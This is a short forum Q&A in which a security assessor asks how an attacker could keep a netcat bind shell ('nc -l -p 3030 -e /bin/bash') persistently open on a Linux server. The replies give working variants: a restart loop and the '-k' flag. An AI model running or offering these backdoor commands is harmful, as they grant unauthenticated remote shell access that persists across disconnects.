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I have found the following command several times in one of the linux servers during an assessment:

nc -l -p 3030 -e /bin/bash

This enables a hacker to gain control over this sever via bash. By testing it, I realized that whenever the client interrupts the connection, the door is again closed.

Is there a way for the hacker to keep this door persistently opened?

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    just restart it whenever it exits while [ true ]; do nc -l -p 3030 -e /bin/bash; done – Steffen Ullrich Feb 28 '16 at 12:16
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Nc with -k option will help.

nc -l -k -p 3030 -e /bin/bash
nc -l -k -p 3030 | /bin/bash

Forces nc to stay listening for another connection after its current connection is completed. It is an error to use this option without the -l option. When used together with the -u option, the server socket is not connected and it can receive UDP datagrams from multiple hosts.

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